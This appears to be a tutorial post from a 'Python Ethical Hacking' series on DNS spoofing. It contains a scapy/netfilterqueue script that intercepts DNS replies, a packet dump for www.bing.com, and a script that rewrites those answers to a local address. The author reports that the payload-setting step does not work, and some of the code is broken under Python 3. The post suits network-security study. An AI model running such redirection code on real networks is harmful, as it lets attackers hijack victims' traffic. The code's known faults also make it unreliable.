What is DNS Spoofing

Sniff the DNSRR packet and show on the terminal.

  1. #!/usr/bin/env python
  2.  
  3. from netfilterqueue import NetfilterQueue
  4. from scapy.layers.dns import DNSRR,IP
  5.  
  6. def process_packet(packet):
  7. scapy_packet = IP(packet.get_payload())
  8. if scapy_packet.haslayer(DNSRR):
  9. print(scapy_packet.show())
  10. packet.accept()
  11.  
  12. queue = NetfilterQueue()
  13. queue.bind(0, process_packet)
  14. try:
  15. queue.run()
  16. except KeyboardInterrupt:
  17. print('')

Analyze the following DNSRR records.

  1. ###[ IP ]###
  2. version = 4
  3. ihl = 5
  4. tos = 0x0
  5. len = 218
  6. id = 0
  7. flags = DF
  8. frag = 0
  9. ttl = 64
  10. proto = udp
  11. chksum = 0x25e8
  12. src = 10.0.0.1
  13. dst = 10.0.0.43
  14. \options \
  15. ###[ UDP ]###
  16. sport = domain
  17. dport = 42647
  18. len = 198
  19. chksum = 0x9388
  20. ###[ DNS ]###
  21. id = 40073
  22. qr = 1
  23. opcode = QUERY
  24. aa = 0
  25. tc = 0
  26. rd = 1
  27. ra = 1
  28. z = 0
  29. ad = 0
  30. cd = 0
  31. rcode = ok
  32. qdcount = 1
  33. ancount = 3
  34. nscount = 1
  35. arcount = 0
  36. \qd \
  37. |###[ DNS Question Record ]###
  38. | qname = 'www.bing.com.'
  39. | qtype = AAAA
  40. | qclass = IN
  41. \an \
  42. |###[ DNS Resource Record ]###
  43. | rrname = 'www.bing.com.'
  44. | type = CNAME
  45. | rclass = IN
  46. | ttl = 2063
  47. | rdlen = None
  48. | rdata = 'a-0001.a-afdentry.net.trafficmanager.net.'
  49. |###[ DNS Resource Record ]###
  50. | rrname = 'a-0001.a-afdentry.net.trafficmanager.net.'
  51. | type = CNAME
  52. | rclass = IN
  53. | ttl = 414
  54. | rdlen = None
  55. | rdata = 'cn.cn-0001.cn-msedge.net.'
  56. |###[ DNS Resource Record ]###
  57. | rrname = 'cn.cn-0001.cn-msedge.net.'
  58. | type = CNAME
  59. | rclass = IN
  60. | ttl = 38
  61. | rdlen = None
  62. | rdata = 'cn-0001.cn-msedge.net.'
  63. \ns \
  64. |###[ DNS SOA Resource Record ]###
  65. | rrname = 'cn-msedge.net.'
  66. | type = SOA
  67. | rclass = IN
  68. | ttl = 38
  69. | rdlen = None
  70. | mname = 'ns1.cn-msedge.net.'
  71. | rname = 'msnhst.microsoft.com.'
  72. | serial = 2017032701
  73. | refresh = 1800
  74. | retry = 900
  75. | expire = 2419200
  76. | minimum = 240
  77. ar = None

Redirecting DNS Responses

  1. #!/usr/bin/env python
  2.  
  3. from netfilterqueue import NetfilterQueue
  4. from scapy.layers.dns import *
  5.  
  6. def process_packet(packet):
  7. scapy_packet = IP(packet.get_payload())
  8. if scapy_packet.haslayer(DNSQR):
  9. qname = scapy_packet[DNSQR].qname
  10. if "www.bing.com" in qname.decode(errors='ignore'):
  11. print("[+] Spoofing target")
  12. answer = DNSRR(rrname=qname, rdata="10.0.0.43")
  13. scapy_packet[DNS].an = answer
  14. scapy_packet[DNS].ancount = 1
  15.  
  16. del scapy_packet[IP].len
  17. del scapy_packet[IP].chksum
  18. del scapy_packet[UDP].chksum
  19. del scapy_packet[UDP].len
  20.  
  21. packet.set_payload(str(scapy_packet).encode())
  22.  
  23. packet.accept()
  24.  
  25. queue = NetfilterQueue()
  26. queue.bind(0, process_packet)
  27. try:
  28. queue.run()
  29. except KeyboardInterrupt:
  30. print('')

The set_payload() method does not work....

https://github.com/kti/python-netfilterqueue/issues/30

Python Ethical Hacking - DNS Spoofing的更多相关文章

  1. Python Ethical Hacking - ARP Spoofing

    Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...

  2. Python Ethical Hacking - Bypass HTTPS(1)

    HTTPS: Problem: Data in HTTP is sent as plain text. A MITM can read and edit requests and responses. ...

  3. Python Ethical Hacking - WEB PENETRATION TESTING(1)

    WHAT IS A WEBSITE Computer with OS and some servers. Apache, MySQL ...etc. Cotains web application. ...

  4. Python Ethical Hacking - BACKDOORS(8)

    Cross-platform hacking All programs we wrote are pure python programs They do not rely on OS-specifi ...

  5. Python Ethical Hacking - NETWORK_SCANNER(2)

    DICTIONARIES Similar to lists but use key instead of an index. LISTS List of values/elements, all ca ...

  6. Python Ethical Hacking - NETWORK_SCANNER(1)

    NETWORK_SCANNER Discover all devices on the network. Display their IP address. Display their MAC add ...

  7. Python Ethical Hacking - MAC Address & How to Change(3)

    SIMPLE ALGORITHM Goal  -> Check if MAC address was changed. Steps: 1. Execute and read ifconfig. ...

  8. Python Ethical Hacking - MAC Address & How to Change(2)

    FUNCTIONS Set of instructions to carry out a task. Can take input, and return a result. Make the cod ...

  9. Python Ethical Hacking - MAC Address & How to Change(1)

    MAC ADDRESS Media Access Control Permanent Physical Unique Assigned by manufacturer WHY CHANGE THE M ...

随机推荐

  1. ca77a_c++__一个打开并检查文件输入的程序_流对象_操作文件

    /*ca77a_c++__一个打开并检查文件输入的程序 习题:8.13 8.14*/ /*ca77a_c++__一个打开并检查文件输入的程序 习题:8.13 8.14 */ #include < ...

  2. 安卓开发,Service 服务

    Service 服务 是一种应用组件,可长时间后台运行,不提供用户界面.如音乐播放器/下载程序.不能自己运行. 使用Service的方式: (一)startService(): 调用者和服务之间没有联 ...

  3. debug PostgreSQL 9.6.18 using Eclipse IDE on CentOS7

    目录 debug PostgreSQL 9.6.18 using Eclipse IDE on CentOS7 1.概览 2.建立用户 3.编译postgre 4.启动Eclipse 5.设置环境变量 ...

  4. 尚硅谷spring 事物管理

    接下来我们重点来学习spring中的事务管理 接下来我们通过代码来实现 spring实现事物我们采用aop的方式来实现 获得连接和手动设置事物相当于@before标注的前置通知,conn.commit ...

  5. npm -v 报错:Error: EPERM: operation not permitted, mkdir 'C:\soft\nodejs'

    npm -v 报错:Error: EPERM: operation not permitted, mkdir 'C:\soft\nodejs' 起因:原本安装node在C盘soft文件夹下,按node ...

  6. jmeter使用小结(一)

    jmeter是用来做接口压力测试的工具.这里只是简单介绍一下使用,大家可以自行查看帮助文档, 1.打开jmeter工具,创建线程组任务 2.添加配置元件,根据需要选择设置 3.添加采样器,这里是htt ...

  7. SSM框架出现500的错误解决办法

    1,先确认pom.xml中有没有导入项目依赖, 2,发现导入之后还是报500.点击File->Project  Structure->Artifacts 点击SSM右键,选择put int ...

  8. 【总结-前台发送后台接收表单】MVC提交表单的四种方式

    https://www.cnblogs.com/chenwolong/p/Form.html#commentform 后台控制器接收前台表单参数三种方法: 一.普通参数 HTML标签name 和参数名 ...

  9. Linux CentOS 7 下dotnet core webpai + nginx 部署

    参考:https://www.jianshu.com/p/b1f573ca50c7 跟着做到,配置nginx访问dotnet core网站时,报错了. 错误如下所示—— 查看nginx的错误日志: c ...

  10. Passing Reference Data Type Arguments

    public void moveCircle(Circle circle, int deltaX, int deltaY) { // code to move origin of circle to ...